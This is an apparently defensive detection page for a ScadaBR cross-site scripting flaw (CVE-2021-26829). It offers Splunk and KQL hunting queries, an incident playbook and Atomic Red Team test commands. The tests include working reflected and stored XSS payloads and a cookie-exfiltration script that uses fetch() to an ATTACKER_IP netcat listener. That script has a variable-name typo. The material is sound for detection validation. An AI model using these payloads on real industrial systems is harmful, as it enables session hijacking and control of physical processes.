Detect OpenPLC ScadaBR Cross-Site Scripting (XSS) Exploitation Detected in Splunk
Detects exploitation attempts targeting CVE-2021-26829, a stored or reflected cross-site scripting vulnerability in OpenPLC ScadaBR. ScadaBR is a SCADA/HMI platform used in industrial control environments. Successful exploitation allows attackers to inject malicious scripts into the web interface, potentially enabling session hijacking, credential theft, or lateral movement within OT/ICS environments. This CVE is listed on CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
SPL Detection Query
index=web OR index=network OR index=ics
(sourcetype=access_combined OR sourcetype=iis OR sourcetype=waf OR sourcetype=pan_traffic)
(
(uri="*ScadaBR*" OR uri="*scada*" OR host="*scadabr*")
AND
(
(uri_query IN ("*<script*", "*javascript:*", "*onerror=*", "*onload=*", "*alert(*", "*document.cookie*", "*<img*onerror*", "*<svg*onload*"))
OR (http_referrer IN ("*<script*", "*javascript:*", "*onerror=*"))
OR (status=200 AND bytes>0 AND method=POST AND uri="*ScadaBR*")
)
)
| eval cve="CVE-2021-26829"
| eval severity="high"
| eval attack_type="XSS-ScadaBR"
| stats count AS request_count, values(uri_query) AS payloads, values(src_ip) AS source_ips, dc(src_ip) AS unique_sources, earliest(_time) AS first_seen, latest(_time) AS last_seen BY host, uri, method, status, cve, severity
| where request_count >= 1
| eval first_seen=strftime(first_seen, "%Y-%m-%dT%H:%M:%SZ"), last_seen=strftime(last_seen, "%Y-%m-%dT%H:%M:%SZ")
| table host, uri, method, status, payloads, source_ips, unique_sources, request_count, first_seen, last_seen, cve, severity
| sort - request_count Searches web access logs for HTTP requests targeting ScadaBR URIs that contain XSS payload patterns in URI query parameters or referrer headers. Aggregates by host and URI to surface repeated exploitation attempts.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized vulnerability scanners performing scheduled assessments of ScadaBR deployments
- Security researchers with authorized access testing XSS defenses in lab environments
- Burp Suite or OWASP ZAP automated scans run by development or security teams
- False URI matches on legitimate web applications with 'scada' in their path unrelated to ScadaBR
Other platforms for CVE-2021-26829
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Reflected XSS Probe via ScadaBR Search Parameter
Expected signal: Web server access log entry with URI containing '<script>alert(document.cookie)</script>' and HTTP response code (200 if reflected, 400/500 if filtered). WAF logs should show XSS rule match.
- Test 2Stored XSS via ScadaBR Watchlist Name Field
Expected signal: POST request in web access logs to ScadaBR watchList endpoint with body containing XSS payload. Subsequent GET requests loading the watchlist page will serve the stored payload to other authenticated users.
- Test 3Session Cookie Exfiltration Simulation via XSS
Expected signal: Outbound HTTP GET request from the ScadaBR operator's browser/host to the attacker's listener IP on port 8888 with the session cookie in the query parameter. Network flow logs should show the lateral connection from the OT network to the attacker IP.
- Test 4ScadaBR XSS via HTTP Referrer Header Injection
Expected signal: HTTP access log entry showing the malicious Referer header value. If ScadaBR reflects the Referer in error pages or breadcrumbs, the response body will contain the injected script tag.
Response Playbook
Triage
- Identify the source IP(s) of requests containing XSS payloads targeting ScadaBR endpoints and determine whether the source is internal (insider threat, compromised OT host) or external (internet-facing exploitation attempt).
- Correlate the triggering event timestamp against ScadaBR access logs and application logs to confirm whether the XSS payload was reflected back in the HTTP response body (reflected XSS) or persisted in the ScadaBR database (stored XSS — higher severity).
- Check whether any authenticated ScadaBR user sessions were active at the time of the XSS event. Review session tokens and determine if cookie theft or session hijacking occurred by examining subsequent requests from the same source IP.
- Verify if the affected ScadaBR instance is internet-accessible or air-gapped/isolated. Internet-accessible ICS/SCADA interfaces substantially increase blast radius and should be treated as critical incidents.
- Assess whether the ScadaBR instance has administrative privileges over physical PLCs or connected OT assets that could be manipulated through a hijacked session.
Containment
- Immediately isolate the ScadaBR web interface by blocking inbound HTTP/HTTPS traffic to the ScadaBR port at the network perimeter firewall, or by taking the web service offline if physical OT safety is not compromised by doing so.
- Invalidate all active ScadaBR user sessions and force re-authentication after patching. If stored XSS is confirmed, sanitize all affected database records before re-enabling the service to prevent re-exploitation via stored payloads.
- Block the source IP(s) at the perimeter and OT network firewall, and notify the OT security team to assess whether any physical processes were impacted through hijacked operator sessions.
Evidence Collection
- Capture full HTTP request and response logs from the ScadaBR web server for the attack window, including all headers, query strings, POST bodies, and response bodies. Archive these logs to a forensic repository before any log rotation occurs.
- Extract ScadaBR application database contents (particularly user-submitted fields such as watchlist names, alarm messages, and data point labels) to identify stored XSS payloads persisted in the application data layer.
- Collect network PCAP for the source IP during the attack window from the OT network tap or span port to reconstruct the full attack chain and identify any post-exploitation activity such as credential exfiltration or C2 callbacks.
Escalation Criteria
- !Escalate to the ICS/OT Incident Response team immediately if the ScadaBR instance has write access to any PLC, RTU, or physical control system, as XSS-driven session hijacking could result in unauthorized control of industrial processes.
- !Escalate to CISA or relevant sector ISAC if evidence of stored XSS persistence is confirmed or if the attack source is attributed to a known threat actor targeting critical infrastructure, given this CVE's presence on the CISA KEV catalog.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
ScadaBR web server access logs containing XSS payload strings in URI query parameters or POST body fields - >
ScadaBR application database tables storing user-configurable fields (e.g., alarm descriptions, watchlist names) that may contain persisted XSS payloads - >
Browser history and cached pages on operator workstations that accessed ScadaBR during the attack window, potentially containing rendered XSS payloads - >
Network PCAP from OT network segments showing HTTP responses with injected script content served to operator browsers
Tuning Guidance
Reduce false positives by building an allowlist of authorized scanner IPs (Nessus, Qualys, Rapid7 agents) and excluding them from alerting. Scope the detection to only ScadaBR-specific URI paths rather than generic '/scada/' patterns to minimize matches on unrelated SCADA applications. For stored XSS hunting, implement periodic database queries against ScadaBR user-configurable fields rather than relying solely on HTTP access logs. Consider raising alert confidence to 'high' for events where the HTTP response status is 200 AND the payload is present in the response body, which can be detected via proxy/DLP inspection.
Hunting Queries
Hunt for historical ScadaBR XSS payload delivery that resulted in successful HTTP 200 responses over the past 30 days, indicating the server may have reflected or served malicious content.
W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem contains "/ScadaBR" or csHost contains "scadabr"
| where scStatus == 200
| extend PayloadIndicator = extract(@"(?i)(<script|javascript:|onerror=|onload=|alert\(|document\.cookie)", 0, strcat(csUriQuery, csReferer))
| where isnotempty(PayloadIndicator)
| summarize HitCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), UniquePayloads=dcount(csUriQuery) by cIP, csUriStem, PayloadIndicator
| order by HitCount desc index=web sourcetype=access_combined uri="*ScadaBR*" status=200
| rex field=uri_query "(?i)(?P<xss_payload><script|javascript:|onerror=|onload=|alert\(|document\.cookie)"
| where isnotnull(xss_payload)
| stats count AS hits, dc(uri_query) AS unique_payloads, earliest(_time) AS first_seen, latest(_time) AS last_seen BY src_ip, uri, xss_payload
| sort - hits Hunt for endpoint telemetry showing browsers or processes making outbound requests to ScadaBR URLs containing post-exploitation JavaScript API calls suggesting active XSS payload execution.
DeviceNetworkEvents
| where TimeGenerated > ago(14d)
| where RemoteUrl contains "scadabr" or RemoteUrl contains "/ScadaBR"
| where RemoteUrl matches regex @"(?i)(document\.cookie|localStorage|sessionStorage|fetch\(|XMLHttpRequest|eval\()"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, RemoteUrl, RemoteIP
| order by TimeGenerated desc index=endpoint sourcetype=crowdstrike OR sourcetype=carbon_black
(url="*scadabr*" OR url="*ScadaBR*")
(url="*document.cookie*" OR url="*localStorage*" OR url="*fetch(*" OR url="*eval(*")
| stats count BY src_ip, dest_ip, url, process_name, user
| sort - count Atomic Red Team Tests
Simulates an attacker probing ScadaBR for reflected XSS by injecting a standard alert payload into a URL query parameter. Used to confirm whether the application reflects unsanitized input in the HTTP response.
Command
curl -sk 'http://TARGET_SCADABR_HOST:8080/ScadaBR/search.htm?query=<script>alert(document.cookie)</script>' -H 'User-Agent: Mozilla/5.0' -v 2>&1 | grep -E '(<script|alert|Set-Cookie|HTTP/)' Cleanup
No persistent changes — this is a read-only HTTP probe. Verify no payloads were stored in ScadaBR database. Expected Telemetry
Web server access log entry with URI containing '<script>alert(document.cookie)</script>' and HTTP response code (200 if reflected, 400/500 if filtered). WAF logs should show XSS rule match.
Expected Detection
KQL/SPL queries matching on csUriQuery or url.query containing '<script' targeting ScadaBR paths should fire within one log ingestion cycle.
Simulates an authenticated attacker injecting a stored XSS payload into a ScadaBR user-configurable text field (watchlist or alarm name). Requires valid ScadaBR credentials. This tests whether the application sanitizes stored user input before rendering it to other users.
Command
curl -sk -c /tmp/scadabr_session.txt -b /tmp/scadabr_session.txt \
-d 'username=SCADABR_USER&password=SCADABR_PASS' \
'http://TARGET_SCADABR_HOST:8080/ScadaBR/login.htm' && \
curl -sk -c /tmp/scadabr_session.txt -b /tmp/scadabr_session.txt \
-X POST 'http://TARGET_SCADABR_HOST:8080/ScadaBR/watchList.shtm' \
-d 'name=<img+src=x+onerror=alert(1)>&xid=0&action=save' -v Cleanup
Log in to ScadaBR and delete the watchlist entry containing the XSS payload. Verify deletion via direct database query: SELECT * FROM watchLists WHERE name LIKE '%onerror%'; Expected Telemetry
POST request in web access logs to ScadaBR watchList endpoint with body containing XSS payload. Subsequent GET requests loading the watchlist page will serve the stored payload to other authenticated users.
Expected Detection
Database-level hunting query identifying stored XSS payloads in ScadaBR watchList table. HTTP access log detection may not trigger for stored XSS unless response body inspection is in place.
Simulates the post-exploitation phase of a successful ScadaBR XSS attack, where a malicious script exfiltrates the victim operator's session cookie to an attacker-controlled server. Run this test in a lab environment with a controlled listener to validate detection of outbound cookie exfiltration.
Command
# Step 1: Start a listener on the attacker machine
nc -lvp 8888 &
ATTACKER_IP=$(hostname -I | awk '{print $1}')
# Step 2: Craft the XSS payload URL that would be delivered to a ScadaBR operator
PAYLOAD="<script>fetch('http://${ATTACKER_IP}:8888/?c='+encodeURIComponent(document.cookie))</script>"
echo "XSS Payload: ${PAYLOAD}"
ENDCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
echo "Delivery URL: http://TARGET_SCADABR_HOST:8080/ScadaBR/search.htm?query=${ENCODED}"
# Step 3: Simulate victim browser executing the payload (lab only)
curl -sk "http://TARGET_SCADABR_HOST:8080/ScadaBR/search.htm?query=${ENCODED}" \
-H 'Cookie: JSESSIONID=LAB_SESSION_TOKEN_12345' --max-time 10 Cleanup
Kill the netcat listener (kill %1 or pkill nc). Remove any captured session tokens from lab systems. Invalidate any lab session tokens used in the test. Expected Telemetry
Outbound HTTP GET request from the ScadaBR operator's browser/host to the attacker's listener IP on port 8888 with the session cookie in the query parameter. Network flow logs should show the lateral connection from the OT network to the attacker IP.
Expected Detection
Network detection rules for outbound connections from OT/ICS network segments to unexpected external or non-whitelisted IPs. DNS query logs for attacker-controlled domains if a domain is used instead of a raw IP. DeviceNetworkEvents in Defender showing browser process making unexpected outbound connection.
Tests whether ScadaBR reflects unsanitized content from the HTTP Referer header into the response body, a less commonly tested XSS vector that bypasses query-parameter-focused WAF rules.
Command
curl -sk 'http://TARGET_SCADABR_HOST:8080/ScadaBR/login.htm' \
-H 'Referer: <script>alert(document.domain)</script>' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
-v 2>&1 | grep -A5 -B5 'script' Cleanup
No persistent changes — stateless HTTP probe. Review ScadaBR server logs to confirm the probe was recorded. Expected Telemetry
HTTP access log entry showing the malicious Referer header value. If ScadaBR reflects the Referer in error pages or breadcrumbs, the response body will contain the injected script tag.
Expected Detection
KQL/SPL queries filtering on HTTP referrer fields containing XSS patterns should match this event. Some SIEM parsers extract Referer as a distinct field; verify the detection query covers the correct field name for the log source in use.